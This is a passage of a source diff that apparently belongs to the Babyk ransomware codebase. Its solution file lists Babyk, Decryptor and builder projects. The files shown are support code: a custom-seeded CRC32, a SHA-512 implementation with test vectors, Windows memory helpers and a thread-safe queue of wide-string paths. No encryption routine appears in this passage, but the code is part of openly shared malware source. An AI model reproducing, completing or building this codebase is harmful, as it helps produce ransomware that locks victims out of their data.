0xbfa1b04b, 0xbb60adfc, 0xb6238b25, 0xb2e29692,
|
||||
0x8aad2b2f, 0x8e6c3698, 0x832f1041, 0x87ee0df6,
|
||||
0x99a95df3, 0x9d684044, 0x902b669d, 0x94ea7b2a,
|
||||
0xe0b41de7, 0xe4750050, 0xe9362689, 0xedf73b3e,
|
||||
0xf3b06b3b, 0xf771768c, 0xfa325055, 0xfef34de2,
|
||||
0xc6bcf05f, 0xc27dede8, 0xcf3ecb31, 0xcbffd686,
|
||||
0xd5b88683, 0xd1799b34, 0xdc3abded, 0xd8fba05a,
|
||||
0x690ce0ee, 0x6dcdfd59, 0x608edb80, 0x644fc637,
|
||||
0x7a089632, 0x7ec98b85, 0x738aad5c, 0x774bb0eb,
|
||||
0x4f040d56, 0x4bc510e1, 0x46863638, 0x42472b8f,
|
||||
0x5c007b8a, 0x58c1663d, 0x558240e4, 0x51435d53,
|
||||
0x251d3b9e, 0x21dc2629, 0x2c9f00f0, 0x285e1d47,
|
||||
0x36194d42, 0x32d850f5, 0x3f9b762c, 0x3b5a6b9b,
|
||||
0x0315d626, 0x07d4cb91, 0x0a97ed48, 0x0e56f0ff,
|
||||
0x1011a0fa, 0x14d0bd4d, 0x19939b94, 0x1d528623,
|
||||
0xf12f560e, 0xf5ee4bb9, 0xf8ad6d60, 0xfc6c70d7,
|
||||
0xe22b20d2, 0xe6ea3d65, 0xeba91bbc, 0xef68060b,
|
||||
0xd727bbb6, 0xd3e6a601, 0xdea580d8, 0xda649d6f,
|
||||
0xc423cd6a, 0xc0e2d0dd, 0xcda1f604, 0xc960ebb3,
|
||||
0xbd3e8d7e, 0xb9ff90c9, 0xb4bcb610, 0xb07daba7,
|
||||
0xae3afba2, 0xaafbe615, 0xa7b8c0cc, 0xa379dd7b,
|
||||
0x9b3660c6, 0x9ff77d71, 0x92b45ba8, 0x9675461f,
|
||||
0x8832161a, 0x8cf30bad, 0x81b02d74, 0x857130c3,
|
||||
0x5d8a9099, 0x594b8d2e, 0x5408abf7, 0x50c9b640,
|
||||
0x4e8ee645, 0x4a4ffbf2, 0x470cdd2b, 0x43cdc09c,
|
||||
0x7b827d21, 0x7f436096, 0x7200464f, 0x76c15bf8,
|
||||
0x68860bfd, 0x6c47164a, 0x61043093, 0x65c52d24,
|
||||
0x119b4be9, 0x155a565e, 0x18197087, 0x1cd86d30,
|
||||
0x029f3d35, 0x065e2082, 0x0b1d065b, 0x0fdc1bec,
|
||||
0x3793a651, 0x3352bbe6, 0x3e119d3f, 0x3ad08088,
|
||||
0x2497d08d, 0x2056cd3a, 0x2d15ebe3, 0x29d4f654,
|
||||
0xc5a92679, 0xc1683bce, 0xcc2b1d17, 0xc8ea00a0,
|
||||
0xd6ad50a5, 0xd26c4d12, 0xdf2f6bcb, 0xdbee767c,
|
||||
0xe3a1cbc1, 0xe760d676, 0xea23f0af, 0xeee2ed18,
|
||||
0xf0a5bd1d, 0xf464a0aa, 0xf9278673, 0xfde69bc4,
|
||||
0x89b8fd09, 0x8d79e0be, 0x803ac667, 0x84fbdbd0,
|
||||
0x9abc8bd5, 0x9e7d9662, 0x933eb0bb, 0x97ffad0c,
|
||||
0xafb010b1, 0xab710d06, 0xa6322bdf, 0xa2f33668,
|
||||
0xbcb4666d, 0xb8757bda, 0xb5365d03, 0xb1f740b4
|
||||
};
|
||||
|
||||
unsigned int xcrc32(const unsigned char* buf, int len)
|
||||
{
|
||||
unsigned int crc = 0x676e6f64;
|
||||
while (len--)
|
||||
{
|
||||
crc = (crc << 8) ^ crc32_table[((crc >> 24) ^ *buf) & 255];
|
||||
buf++;
|
||||
}
|
||||
return crc;
|
||||
}
|
|
@ -0,0 +1,6 @@
|
|||
#ifndef CRC32_H_INCLUDED
|
||||
#define CRC32_H_INCLUDED
|
||||
|
||||
unsigned int xcrc32(const unsigned char* buf, int len);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,365 @@
|
|||
/*
|
||||
* SHA-512 algorithm as described at
|
||||
*
|
||||
* http://csrc.nist.gov/cryptval/shs.html
|
||||
*/
|
||||
#include <string.h>
|
||||
#include "../memory.h"
|
||||
#include "sha512.h"
|
||||
//#define TEST
|
||||
#define BLKSIZE 128
|
||||
|
||||
/*
|
||||
* Arithmetic implementations. Note that AND, XOR and NOT can
|
||||
* overlap destination with one source, but the others can't.
|
||||
*/
|
||||
#define add(r,x,y) ( r.lo = y.lo + x.lo, \
|
||||
r.hi = y.hi + x.hi + ((uint32)r.lo < (uint32)y.lo) )
|
||||
#define rorB(r,x,y) ( r.lo = ((uint32)x.hi >> ((y)-32)) | ((uint32)x.lo << (64-(y))), \
|
||||
r.hi = ((uint32)x.lo >> ((y)-32)) | ((uint32)x.hi << (64-(y))) )
|
||||
#define rorL(r,x,y) ( r.lo = ((uint32)x.lo >> (y)) | ((uint32)x.hi << (32-(y))), \
|
||||
r.hi = ((uint32)x.hi >> (y)) | ((uint32)x.lo << (32-(y))) )
|
||||
#define shrB(r,x,y) ( r.lo = (uint32)x.hi >> ((y)-32), r.hi = 0 )
|
||||
#define shrL(r,x,y) ( r.lo = ((uint32)x.lo >> (y)) | ((uint32)x.hi << (32-(y))), \
|
||||
r.hi = (uint32)x.hi >> (y) )
|
||||
#define and(r,x,y) ( r.lo = x.lo & y.lo, r.hi = x.hi & y.hi )
|
||||
#define xor(r,x,y) ( r.lo = x.lo ^ y.lo, r.hi = x.hi ^ y.hi )
|
||||
#define not(r,x) ( r.lo = ~x.lo, r.hi = ~x.hi )
|
||||
#define INIT(h,l) { h, l }
|
||||
#define BUILD(r,h,l) ( r.hi = h, r.lo = l )
|
||||
#define EXTRACT(h,l,r) ( h = r.hi, l = r.lo )
|
||||
|
||||
/* ----------------------------------------------------------------------
|
||||
* Core SHA512 algorithm: processes 16-doubleword blocks into a
|
||||
* message digest.
|
||||
*/
|
||||
|
||||
#define Ch(r,t,x,y,z) ( not(t,x), and(r,t,z), and(t,x,y), xor(r,r,t) )
|
||||
#define Maj(r,t,x,y,z) ( and(r,x,y), and(t,x,z), xor(r,r,t), \
|
||||
and(t,y,z), xor(r,r,t) )
|
||||
#define bigsigma0(r,t,x) ( rorL(r,x,28), rorB(t,x,34), xor(r,r,t), \
|
||||
rorB(t,x,39), xor(r,r,t) )
|
||||
#define bigsigma1(r,t,x) ( rorL(r,x,14), rorL(t,x,18), xor(r,r,t), \
|
||||
rorB(t,x,41), xor(r,r,t) )
|
||||
#define smallsigma0(r,t,x) ( rorL(r,x,1), rorL(t,x,8), xor(r,r,t), \
|
||||
shrL(t,x,7), xor(r,r,t) )
|
||||
#define smallsigma1(r,t,x) ( rorL(r,x,19), rorB(t,x,61), xor(r,r,t), \
|
||||
shrL(t,x,6), xor(r,r,t) )
|
||||
|
||||
#define PUT_32BIT_MSB_FIRST(cp, value) ( \
|
||||
(cp)[0] = (unsigned char)((value) >> 24), \
|
||||
(cp)[1] = (unsigned char)((value) >> 16), \
|
||||
(cp)[2] = (unsigned char)((value) >> 8), \
|
||||
(cp)[3] = (unsigned char)(value))
|
||||
|
||||
static void SHA512_Core_Init(SHA512_State *s) {
|
||||
static const uint64 iv[] = {
|
||||
INIT(0x6a09e667, 0xf3bcc908),
|
||||
INIT(0xbb67ae85, 0x84caa73b),
|
||||
INIT(0x3c6ef372, 0xfe94f82b),
|
||||
INIT(0xa54ff53a, 0x5f1d36f1),
|
||||
INIT(0x510e527f, 0xade682d1),
|
||||
INIT(0x9b05688c, 0x2b3e6c1f),
|
||||
INIT(0x1f83d9ab, 0xfb41bd6b),
|
||||
INIT(0x5be0cd19, 0x137e2179),
|
||||
};
|
||||
int i;
|
||||
for (i = 0; i < 8; i++)
|
||||
s->h[i] = iv[i];
|
||||
}
|
||||
|
||||
static void SHA512_Block(SHA512_State *s, uint64 *block) {
|
||||
uint64 w[80];
|
||||
uint64 a,b,c,d,e,f,g,h;
|
||||
static const uint64 k[] = {
|
||||
INIT(0x428a2f98, 0xd728ae22), INIT(0x71374491, 0x23ef65cd),
|
||||
INIT(0xb5c0fbcf, 0xec4d3b2f), INIT(0xe9b5dba5, 0x8189dbbc),
|
||||
INIT(0x3956c25b, 0xf348b538), INIT(0x59f111f1, 0xb605d019),
|
||||
INIT(0x923f82a4, 0xaf194f9b), INIT(0xab1c5ed5, 0xda6d8118),
|
||||
INIT(0xd807aa98, 0xa3030242), INIT(0x12835b01, 0x45706fbe),
|
||||
INIT(0x243185be, 0x4ee4b28c), INIT(0x550c7dc3, 0xd5ffb4e2),
|
||||
INIT(0x72be5d74, 0xf27b896f), INIT(0x80deb1fe, 0x3b1696b1),
|
||||
INIT(0x9bdc06a7, 0x25c71235), INIT(0xc19bf174, 0xcf692694),
|
||||
INIT(0xe49b69c1, 0x9ef14ad2), INIT(0xefbe4786, 0x384f25e3),
|
||||
INIT(0x0fc19dc6, 0x8b8cd5b5), INIT(0x240ca1cc, 0x77ac9c65),
|
||||
INIT(0x2de92c6f, 0x592b0275), INIT(0x4a7484aa, 0x6ea6e483),
|
||||
INIT(0x5cb0a9dc, 0xbd41fbd4), INIT(0x76f988da, 0x831153b5),
|
||||
INIT(0x983e5152, 0xee66dfab), INIT(0xa831c66d, 0x2db43210),
|
||||
INIT(0xb00327c8, 0x98fb213f), INIT(0xbf597fc7, 0xbeef0ee4),
|
||||
INIT(0xc6e00bf3, 0x3da88fc2), INIT(0xd5a79147, 0x930aa725),
|
||||
INIT(0x06ca6351, 0xe003826f), INIT(0x14292967, 0x0a0e6e70),
|
||||
INIT(0x27b70a85, 0x46d22ffc), INIT(0x2e1b2138, 0x5c26c926),
|
||||
INIT(0x4d2c6dfc, 0x5ac42aed), INIT(0x53380d13, 0x9d95b3df),
|
||||
INIT(0x650a7354, 0x8baf63de), INIT(0x766a0abb, 0x3c77b2a8),
|
||||
INIT(0x81c2c92e, 0x47edaee6), INIT(0x92722c85, 0x1482353b),
|
||||
INIT(0xa2bfe8a1, 0x4cf10364), INIT(0xa81a664b, 0xbc423001),
|
||||
INIT(0xc24b8b70, 0xd0f89791), INIT(0xc76c51a3, 0x0654be30),
|
||||
INIT(0xd192e819, 0xd6ef5218), INIT(0xd6990624, 0x5565a910),
|
||||
INIT(0xf40e3585, 0x5771202a), INIT(0x106aa070, 0x32bbd1b8),
|
||||
INIT(0x19a4c116, 0xb8d2d0c8), INIT(0x1e376c08, 0x5141ab53),
|
||||
INIT(0x2748774c, 0xdf8eeb99), INIT(0x34b0bcb5, 0xe19b48a8),
|
||||
INIT(0x391c0cb3, 0xc5c95a63), INIT(0x4ed8aa4a, 0xe3418acb),
|
||||
INIT(0x5b9cca4f, 0x7763e373), INIT(0x682e6ff3, 0xd6b2b8a3),
|
||||
INIT(0x748f82ee, 0x5defb2fc), INIT(0x78a5636f, 0x43172f60),
|
||||
INIT(0x84c87814, 0xa1f0ab72), INIT(0x8cc70208, 0x1a6439ec),
|
||||
INIT(0x90befffa, 0x23631e28), INIT(0xa4506ceb, 0xde82bde9),
|
||||
INIT(0xbef9a3f7, 0xb2c67915), INIT(0xc67178f2, 0xe372532b),
|
||||
INIT(0xca273ece, 0xea26619c), INIT(0xd186b8c7, 0x21c0c207),
|
||||
INIT(0xeada7dd6, 0xcde0eb1e), INIT(0xf57d4f7f, 0xee6ed178),
|
||||
INIT(0x06f067aa, 0x72176fba), INIT(0x0a637dc5, 0xa2c898a6),
|
||||
INIT(0x113f9804, 0xbef90dae), INIT(0x1b710b35, 0x131c471b),
|
||||
INIT(0x28db77f5, 0x23047d84), INIT(0x32caab7b, 0x40c72493),
|
||||
INIT(0x3c9ebe0a, 0x15c9bebc), INIT(0x431d67c4, 0x9c100d4c),
|
||||
INIT(0x4cc5d4be, 0xcb3e42b6), INIT(0x597f299c, 0xfc657e2a),
|
||||
INIT(0x5fcb6fab, 0x3ad6faec), INIT(0x6c44198c, 0x4a475817),
|
||||
};
|
||||
|
||||
int t;
|
||||
|
||||
for (t = 0; t < 16; t++)
|
||||
w[t] = block[t];
|
||||
|
||||
for (t = 16; t < 80; t++) {
|
||||
uint64 p, q, r, tmp;
|
||||
smallsigma1(p, tmp, w[t-2]);
|
||||
smallsigma0(q, tmp, w[t-15]);
|
||||
add(r, p, q);
|
||||
add(p, r, w[t-7]);
|
||||
add(w[t], p, w[t-16]);
|
||||
}
|
||||
|
||||
a = s->h[0]; b = s->h[1]; c = s->h[2]; d = s->h[3];
|
||||
e = s->h[4]; f = s->h[5]; g = s->h[6]; h = s->h[7];
|
||||
|
||||
for (t = 0; t < 80; t+=8) {
|
||||
uint64 tmp, p, q, r;
|
||||
|
||||
#define ROUND(j,a,b,c,d,e,f,g,h) \
|
||||
bigsigma1(p, tmp, e); \
|
||||
Ch(q, tmp, e, f, g); \
|
||||
add(r, p, q); \
|
||||
add(p, r, k[j]) ; \
|
||||
add(q, p, w[j]); \
|
||||
add(r, q, h); \
|
||||
bigsigma0(p, tmp, a); \
|
||||
Maj(tmp, q, a, b, c); \
|
||||
add(q, tmp, p); \
|
||||
add(p, r, d); \
|
||||
d = p; \
|
||||
add(h, q, r);
|
||||
|
||||
ROUND(t+0, a,b,c,d,e,f,g,h);
|
||||
ROUND(t+1, h,a,b,c,d,e,f,g);
|
||||
ROUND(t+2, g,h,a,b,c,d,e,f);
|
||||
ROUND(t+3, f,g,h,a,b,c,d,e);
|
||||
ROUND(t+4, e,f,g,h,a,b,c,d);
|
||||
ROUND(t+5, d,e,f,g,h,a,b,c);
|
||||
ROUND(t+6, c,d,e,f,g,h,a,b);
|
||||
ROUND(t+7, b,c,d,e,f,g,h,a);
|
||||
}
|
||||
|
||||
{
|
||||
uint64 tmp;
|
||||
#define UPDATE(state, local) ( tmp = state, add(state, tmp, local) )
|
||||
UPDATE(s->h[0], a); UPDATE(s->h[1], b);
|
||||
UPDATE(s->h[2], c); UPDATE(s->h[3], d);
|
||||
UPDATE(s->h[4], e); UPDATE(s->h[5], f);
|
||||
UPDATE(s->h[6], g); UPDATE(s->h[7], h);
|
||||
}
|
||||
}
|
||||
|
||||
/* ----------------------------------------------------------------------
|
||||
* Outer SHA512 algorithm: take an arbitrary length byte string,
|
||||
* convert it into 16-doubleword blocks with the prescribed padding
|
||||
* at the end, and pass those blocks to the core SHA512 algorithm.
|
||||
*/
|
||||
|
||||
void SHA512_Init(SHA512_State *s) {
|
||||
int i;
|
||||
SHA512_Core_Init(s);
|
||||
s->blkused = 0;
|
||||
for (i = 0; i < 4; i++)
|
||||
s->len[i] = 0;
|
||||
}
|
||||
|
||||
void SHA512_Bytes(SHA512_State *s, const void *p, int len) {
|
||||
unsigned char *q = (unsigned char *)p;
|
||||
uint64 wordblock[16];
|
||||
uint32 lenw = len;
|
||||
int i;
|
||||
|
||||
/*
|
||||
* Update the length field.
|
||||
*/
|
||||
for (i = 0; i < 4; i++) {
|
||||
s->len[i] += lenw;
|
||||
lenw = (s->len[i] < lenw);
|
||||
}
|
||||
|
||||
if (s->blkused && s->blkused+len < BLKSIZE) {
|
||||
/*
|
||||
* Trivial case: just add to the block.
|
||||
*/
|
||||
_memcpy(s->block + s->blkused, q, len);
|
||||
s->blkused += len;
|
||||
} else {
|
||||
/*
|
||||
* We must complete and process at least one block.
|
||||
*/
|
||||
while (s->blkused + len >= BLKSIZE) {
|
||||
_memcpy(s->block + s->blkused, q, BLKSIZE - s->blkused);
|
||||
q += BLKSIZE - s->blkused;
|
||||
len -= BLKSIZE - s->blkused;
|
||||
/* Now process the block. Gather bytes big-endian into words */
|
||||
for (i = 0; i < 16; i++) {
|
||||
uint32 h, l;
|
||||
h = ( ((uint32)s->block[i*8+0]) << 24 ) |
|
||||
( ((uint32)s->block[i*8+1]) << 16 ) |
|
||||
( ((uint32)s->block[i*8+2]) << 8 ) |
|
||||
( ((uint32)s->block[i*8+3]) << 0 );
|
||||
l = ( ((uint32)s->block[i*8+4]) << 24 ) |
|
||||
( ((uint32)s->block[i*8+5]) << 16 ) |
|
||||
( ((uint32)s->block[i*8+6]) << 8 ) |
|
||||
( ((uint32)s->block[i*8+7]) << 0 );
|
||||
BUILD(wordblock[i], h, l);
|
||||
}
|
||||
SHA512_Block(s, wordblock);
|
||||
s->blkused = 0;
|
||||
}
|
||||
_memcpy(s->block, q, len);
|
||||
s->blkused = len;
|
||||
}
|
||||
}
|
||||
|
||||
void SHA512_Final(SHA512_State *s, unsigned char *digest) {
|
||||
int i;
|
||||
int pad;
|
||||
unsigned char c[BLKSIZE];
|
||||
uint32 len[4];
|
||||
|
||||
if (s->blkused >= BLKSIZE-16)
|
||||
pad = (BLKSIZE-16) + BLKSIZE - s->blkused;
|
||||
else
|
||||
pad = (BLKSIZE-16) - s->blkused;
|
||||
|
||||
for (i = 4; i-- ;) {
|
||||
uint32 lenhi = s->len[i];
|
||||
uint32 lenlo = i > 0 ? s->len[i-1] : 0;
|
||||
len[i] = (lenhi << 3) | (lenlo >> (32-3));
|
||||
}
|
||||
|
||||
_memset(c, 0, pad);
|
||||
c[0] = 0x80;
|
||||
SHA512_Bytes(s, &c, pad);
|
||||
|
||||
for (i = 0; i < 4; i++) {
|
||||
c[i*4+0] = (len[3-i] >> 24) & 0xFF;
|
||||
c[i*4+1] = (len[3-i] >> 16) & 0xFF;
|
||||
c[i*4+2] = (len[3-i] >> 8) & 0xFF;
|
||||
c[i*4+3] = (len[3-i] >> 0) & 0xFF;
|
||||
}
|
||||
|
||||
SHA512_Bytes(s, &c, 16);
|
||||
|
||||
for (i = 0; i < 8; i++) {
|
||||
uint32 h, l;
|
||||
EXTRACT(h, l, s->h[i]);
|
||||
digest[i*8+0] = (h >> 24) & 0xFF;
|
||||
digest[i*8+1] = (h >> 16) & 0xFF;
|
||||
digest[i*8+2] = (h >> 8) & 0xFF;
|
||||
digest[i*8+3] = (h >> 0) & 0xFF;
|
||||
digest[i*8+4] = (l >> 24) & 0xFF;
|
||||
digest[i*8+5] = (l >> 16) & 0xFF;
|
||||
digest[i*8+6] = (l >> 8) & 0xFF;
|
||||
digest[i*8+7] = (l >> 0) & 0xFF;
|
||||
}
|
||||
}
|
||||
|
||||
void SHA512_Simple(const void *p, int len, unsigned char *output) {
|
||||
SHA512_State s;
|
||||
|
||||
SHA512_Init(&s);
|
||||
SHA512_Bytes(&s, p, len);
|
||||
SHA512_Final(&s, output);
|
||||
}
|
||||
|
||||
#ifdef TEST
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <assert.h>
|
||||
|
||||
int main(void) {
|
||||
unsigned char digest[64];
|
||||
int i, j, errors;
|
||||
|
||||
struct {
|
||||
const char *teststring;
|
||||
unsigned char digest512[64];
|
||||
} tests[] = {
|
||||
{ "abc", {
|
||||
0xdd, 0xaf, 0x35, 0xa1, 0x93, 0x61, 0x7a, 0xba,
|
||||
0xcc, 0x41, 0x73, 0x49, 0xae, 0x20, 0x41, 0x31,
|
||||
0x12, 0xe6, 0xfa, 0x4e, 0x89, 0xa9, 0x7e, 0xa2,
|
||||
0x0a, 0x9e, 0xee, 0xe6, 0x4b, 0x55, 0xd3, 0x9a,
|
||||
0x21, 0x92, 0x99, 0x2a, 0x27, 0x4f, 0xc1, 0xa8,
|
||||
0x36, 0xba, 0x3c, 0x23, 0xa3, 0xfe, 0xeb, 0xbd,
|
||||
0x45, 0x4d, 0x44, 0x23, 0x64, 0x3c, 0xe8, 0x0e,
|
||||
0x2a, 0x9a, 0xc9, 0x4f, 0xa5, 0x4c, 0xa4, 0x9f,
|
||||
} },
|
||||
{ "abcdefghbcdefghicdefghijdefghijkefghijklfghijklmghijklmn"
|
||||
"hijklmnoijklmnopjklmnopqklmnopqrlmnopqrsmnopqrstnopqrstu", {
|
||||
0x8e, 0x95, 0x9b, 0x75, 0xda, 0xe3, 0x13, 0xda,
|
||||
0x8c, 0xf4, 0xf7, 0x28, 0x14, 0xfc, 0x14, 0x3f,
|
||||
0x8f, 0x77, 0x79, 0xc6, 0xeb, 0x9f, 0x7f, 0xa1,
|
||||
0x72, 0x99, 0xae, 0xad, 0xb6, 0x88, 0x90, 0x18,
|
||||
0x50, 0x1d, 0x28, 0x9e, 0x49, 0x00, 0xf7, 0xe4,
|
||||
0x33, 0x1b, 0x99, 0xde, 0xc4, 0xb5, 0x43, 0x3a,
|
||||
0xc7, 0xd3, 0x29, 0xee, 0xb6, 0xdd, 0x26, 0x54,
|
||||
0x5e, 0x96, 0xe5, 0x5b, 0x87, 0x4b, 0xe9, 0x09,
|
||||
} },
|
||||
{ NULL, {
|
||||
0xe7, 0x18, 0x48, 0x3d, 0x0c, 0xe7, 0x69, 0x64,
|
||||
0x4e, 0x2e, 0x42, 0xc7, 0xbc, 0x15, 0xb4, 0x63,
|
||||
0x8e, 0x1f, 0x98, 0xb1, 0x3b, 0x20, 0x44, 0x28,
|
||||
0x56, 0x32, 0xa8, 0x03, 0xaf, 0xa9, 0x73, 0xeb,
|
||||
0xde, 0x0f, 0xf2, 0x44, 0x87, 0x7e, 0xa6, 0x0a,
|
||||
0x4c, 0xb0, 0x43, 0x2c, 0xe5, 0x77, 0xc3, 0x1b,
|
||||
0xeb, 0x00, 0x9c, 0x5c, 0x2c, 0x49, 0xaa, 0x2e,
|
||||
0x4e, 0xad, 0xb2, 0x17, 0xad, 0x8c, 0xc0, 0x9b,
|
||||
} },
|
||||
};
|
||||
|
||||
errors = 0;
|
||||
|
||||
for (i = 0; i < sizeof(tests) / sizeof(*tests); i++) {
|
||||
if (tests[i].teststring) {
|
||||
SHA512_Simple(tests[i].teststring,
|
||||
strlen(tests[i].teststring), digest);
|
||||
} else {
|
||||
SHA512_State s;
|
||||
int n;
|
||||
SHA512_Init(&s);
|
||||
for (n = 0; n < 1000000 / 40; n++)
|
||||
SHA512_Bytes(&s, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
40);
|
||||
SHA512_Final(&s, digest);
|
||||
}
|
||||
for (j = 0; j < 64; j++) {
|
||||
if (digest[j] != tests[i].digest512[j]) {
|
||||
fprintf(stderr,
|
||||
"\"%s\" digest512 byte %d should be 0x%02x, is 0x%02x\n",
|
||||
tests[i].teststring, j, tests[i].digest512[j],
|
||||
digest[j]);
|
||||
errors++;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
printf("%d errors\n", errors);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
|
@ -0,0 +1,23 @@
|
|||
#ifndef _CIPHER_SHA512_H
|
||||
#define _CIPHER_SHA512_H
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif /* __cplusplus */
|
||||
typedef struct {
|
||||
unsigned long hi, lo;
|
||||
} uint64;
|
||||
typedef unsigned int uint32;
|
||||
typedef struct {
|
||||
uint64 h[8];
|
||||
unsigned char block[128];
|
||||
int blkused;
|
||||
uint32 len[4];
|
||||
} SHA512_State;
|
||||
void SHA512_Init(SHA512_State * s);
|
||||
void SHA512_Bytes(SHA512_State * s, const void *p, int len);
|
||||
void SHA512_Final(SHA512_State * s, unsigned char *output);
|
||||
void SHA512_Simple(const void *p, int len, unsigned char *output);
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif /* __cplusplus */
|
||||
#endif /* _CIPHER_SHA512_H */
|
|
@ -0,0 +1,30 @@
|
|||
#include "memory.h"
|
||||
|
||||
static HANDLE procHeap = 0;
|
||||
|
||||
void _hfree(void* mem) {
|
||||
HeapFree(procHeap, 0, mem);
|
||||
}
|
||||
|
||||
void _memset(void* dst, BYTE val, SIZE_T count) {
|
||||
for (volatile int i = 0; i < count; i++) {
|
||||
((BYTE*)dst)[i] = val;
|
||||
}
|
||||
}
|
||||
|
||||
void _memcpy(void* dst, const void* src, SIZE_T count) {
|
||||
for (volatile int i = 0; i < count; i++) {
|
||||
((BYTE*)dst)[i] = ((BYTE*)src)[i];
|
||||
}
|
||||
}
|
||||
|
||||
void _mem_initialize() {
|
||||
procHeap = GetProcessHeap();
|
||||
}
|
||||
|
||||
void* _halloc(SIZE_T count) {
|
||||
retry:;
|
||||
LPVOID ret = HeapAlloc(procHeap, HEAP_ZERO_MEMORY, count + 64);
|
||||
if (!ret) goto retry;
|
||||
return ret;
|
||||
}
|
|
@ -0,0 +1,11 @@
|
|||
#ifndef __MEMORY_H
|
||||
#define __MEMORY_H
|
||||
#include <windows.h>
|
||||
|
||||
void _mem_initialize();
|
||||
void _hfree(void* mem);
|
||||
void* _halloc(SIZE_T count);
|
||||
void _memset(void* mem, BYTE val, SIZE_T count);
|
||||
void _memcpy(void* dst, const void* src, SIZE_T count);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,48 @@
|
|||
#include <windows.h>
|
||||
|
||||
#include "memory.h"
|
||||
#include "queue.h"
|
||||
|
||||
static HANDLE space_avail;
|
||||
static HANDLE data_avail;
|
||||
static CRITICAL_SECTION mutex;
|
||||
|
||||
static INT queueSize = 0;
|
||||
|
||||
static LPWSTR* buffer = 0;
|
||||
static long in_pos = 0, out_pos = 0;
|
||||
|
||||
void _que_initialize(INT size) {
|
||||
queueSize = size;
|
||||
buffer = (WCHAR**)_halloc(size * sizeof(WCHAR*));
|
||||
|
||||
space_avail = CreateSemaphoreA(NULL, queueSize, queueSize, NULL);
|
||||
data_avail = CreateSemaphoreA(NULL, 0, queueSize, NULL);
|
||||
InitializeCriticalSection(&mutex);
|
||||
}
|
||||
|
||||
void _que_push(LPWSTR data) {
|
||||
WCHAR* data_newmem = 0;
|
||||
if (data)
|
||||
{
|
||||
data_newmem = (WCHAR*)_halloc(sizeof(WCHAR*) * (lstrlenW(data) + 1));
|
||||
lstrcpyW(data_newmem, data);
|
||||
}
|
||||
|
||||
WaitForSingleObject(space_avail, INFINITE);
|
||||
EnterCriticalSection(&mutex);
|
||||
buffer[in_pos] = data_newmem;
|
||||
in_pos = (in_pos + 1) % queueSize;
|
||||
LeaveCriticalSection(&mutex);
|
||||
ReleaseSemaphore(data_avail, 1, NULL);
|
||||
}
|
||||
|
||||
LPWSTR _que_pop() {
|
||||
WaitForSingleObject(data_avail, INFINITE);
|
||||
EnterCriticalSection(&mutex);
|
||||
LPWSTR retval = buffer[out_pos];
|
||||
out_pos = (out_pos + 1) % queueSize;
|
||||
LeaveCriticalSection(&mutex);
|
||||
ReleaseSemaphore(space_avail, 1, NULL);
|
||||
return retval;
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
#ifndef QUEUE_H_INCLUDED
|
||||
#define QUEUE_H_INCLUDED
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
void _que_initialize(INT size);
|
||||
void _que_push(LPWSTR data);
|
||||
LPWSTR _que_pop();
|
||||
|
||||
#endif
|
|
@ -0,0 +1,71 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.30413.136
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "e", "Babyk\Babyk.vcxproj", "{884EF124-7132-4DC3-B768-78FA52F1268B}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "d", "Decryptor\Decryptor.vcxproj", "{D6FB88D9-0088-4805-BE51-17C480843B68}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "builder", "builder\builder.vcxproj", "{BE002943-B7DD-4A8B-9F88-4D630ADE10FD}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "test", "test\test.vcxproj", "{1FF4BA74-0395-460C-A5F1-691C840BB9EF}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|Any CPU = Release|Any CPU
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{884EF124-7132-4DC3-B768-78FA52F1268B}.Debug|Any CPU.ActiveCfg = Debug|Win32
|
||||
{884EF124-7132-4DC3-B768-78FA52F1268B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{884EF124-7132-4DC3-B768-78FA52F1268B}.Debug|x64.Build.0 = Debug|x64
|
||||
{884EF124-7132-4DC3-B768-78FA52F1268B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{884EF124-7132-4DC3-B768-78FA52F1268B}.Debug|x86.Build.0 = Debug|Win32
|
||||
{884EF124-7132-4DC3-B768-78FA52F1268B}.Release|Any CPU.ActiveCfg = Release|Win32
|
||||
{884EF124-7132-4DC3-B768-78FA52F1268B}.Release|x64.ActiveCfg = Release|x64
|
||||
{884EF124-7132-4DC3-B768-78FA52F1268B}.Release|x64.Build.0 = Release|x64
|
||||
{884EF124-7132-4DC3-B768-78FA52F1268B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{884EF124-7132-4DC3-B768-78FA52F1268B}.Release|x86.Build.0 = Release|Win32
|
||||
{D6FB88D9-0088-4805-BE51-17C480843B68}.Debug|Any CPU.ActiveCfg = Debug|Win32
|
||||
{D6FB88D9-0088-4805-BE51-17C480843B68}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{D6FB88D9-0088-4805-BE51-17C480843B68}.Debug|x64.Build.0 = Debug|x64
|
||||
{D6FB88D9-0088-4805-BE51-17C480843B68}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{D6FB88D9-0088-4805-BE51-17C480843B68}.Debug|x86.Build.0 = Debug|Win32
|
||||
